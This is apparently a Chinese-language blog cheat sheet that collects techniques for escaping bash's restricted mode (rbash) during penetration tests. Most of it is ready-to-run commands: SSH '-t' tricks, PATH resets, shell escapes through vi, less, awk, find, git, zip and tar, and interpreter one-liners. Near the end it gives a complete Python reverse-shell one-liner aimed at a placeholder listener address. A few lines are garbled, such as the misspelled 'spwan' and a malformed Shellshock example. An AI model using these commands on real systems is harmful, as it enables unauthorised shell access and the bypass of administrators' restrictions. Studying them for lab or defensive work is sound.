rbash逃逸大全
字数 1017 2025-08-25 22:58:47
Rbash逃逸技术大全
0x00 前言
Rbash(The restricted mode of bash)是Bash的限制模式,也是最常见的restricted shell之一(其他包括ksh、rsh等)。在渗透测试中遇到restricted shell会严重影响信息收集和反弹shell等操作,因此掌握rbash逃逸技术至关重要。
0x01 Rbash中的限制
Rbash通过以下限制提高安全性:
- 不能使用
cd命令(无法更改目录) - 不能设置或取消环境变量:
SHELL,PATH,ENV,BASH_ENV - 导入功能受限
- 不能使用包含
/或-的文件名 - 不能使用重定向操作符(如
>,>>等) - 不能使用
set +r或set +o关闭限制模式
0x02 创建Rbash用户
# 创建用户
sudo adduser tw
# 为用户启用rbash
sudo usermod -s /bin/rbash tw
0x03 检查当前shell是否为Rbash
echo $SHELL
# 或
echo $0
0x04 Rbash逃逸技术
4.1 切换用户时逃逸
利用su和su -的区别:
su:只更改当前用户,不更改用户环境su -:同时更改用户和环境变量
逃逸方法:
su -l tw
su - tw
su --login tw
4.2 SSH登录时逃逸
使用-t参数在远程机器上运行脚本:
ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "(bin/bash" # Shellshock漏洞利用
4.3 当前shell中逃逸
4.3.1 特殊情况
/被允许时:
/bin/sh
/bin/bash
- 能够设置PATH或SHELL时:
export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
- 权限足够时:
cp /bin/sh /path/; sh
cp /bin/bash /path/; sh
4.3.2 利用系统常见应用逃逸
以下命令在输入处输入!/bin/sh或!/bin/bash:
- ftp
- more
- less
- man
- vi
- vim
其他方法:
- scp:
scp -S /path/yourscript x y:
- awk:
awk 'BEGIN {system("/bin/sh")}'
awk 'BEGIN {system("/bin/bash")}'
- find:
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;
4.3.3 利用用户安装应用逃逸
- ed-editor:
ed
!'/bin/sh'
- git:
git help status
!/bin/bash
- zip:
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
- tar:
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
4.3.4 利用编程语言环境绕过
- Python:
python -c 'import os; os.system("/bin/sh")'
- PHP:
php -a
exec("sh -i");
- Perl:
perl -e 'exec "/bin/sh";'
- Lua:
lua
os.execute('/bin/sh')
- Ruby:
ruby
exec "/bin/sh"
- Expect:
expect
spwan sh
sh
4.4 其他实用技巧
- 路径异常修复:
echo $PATH
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
- 不使用重定向写文件:
echo 'script code' | tee scriptfile
- su切换用户时使用spawn shell:
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
- SSH登录时使用spawn shell:
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
- 编程语言反弹shell(Python示例):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 替代
!/bin/sh的方法:
!'sh' # 没有'/'有时能更好绕过
- 直接使用sh:
sh # 在路径正确的情况下可能有效
0x05 总结
虽然本文主要演示了rbash逃逸,但这些技术同样适用于其他类型的restricted shell。实际逃逸时需要根据系统特性和用户限制的宽松程度灵活选择方法,多尝试不同的逃逸途径,特别是利用用户安装的应用程序(如git、tar、zip等)往往能提供很大帮助。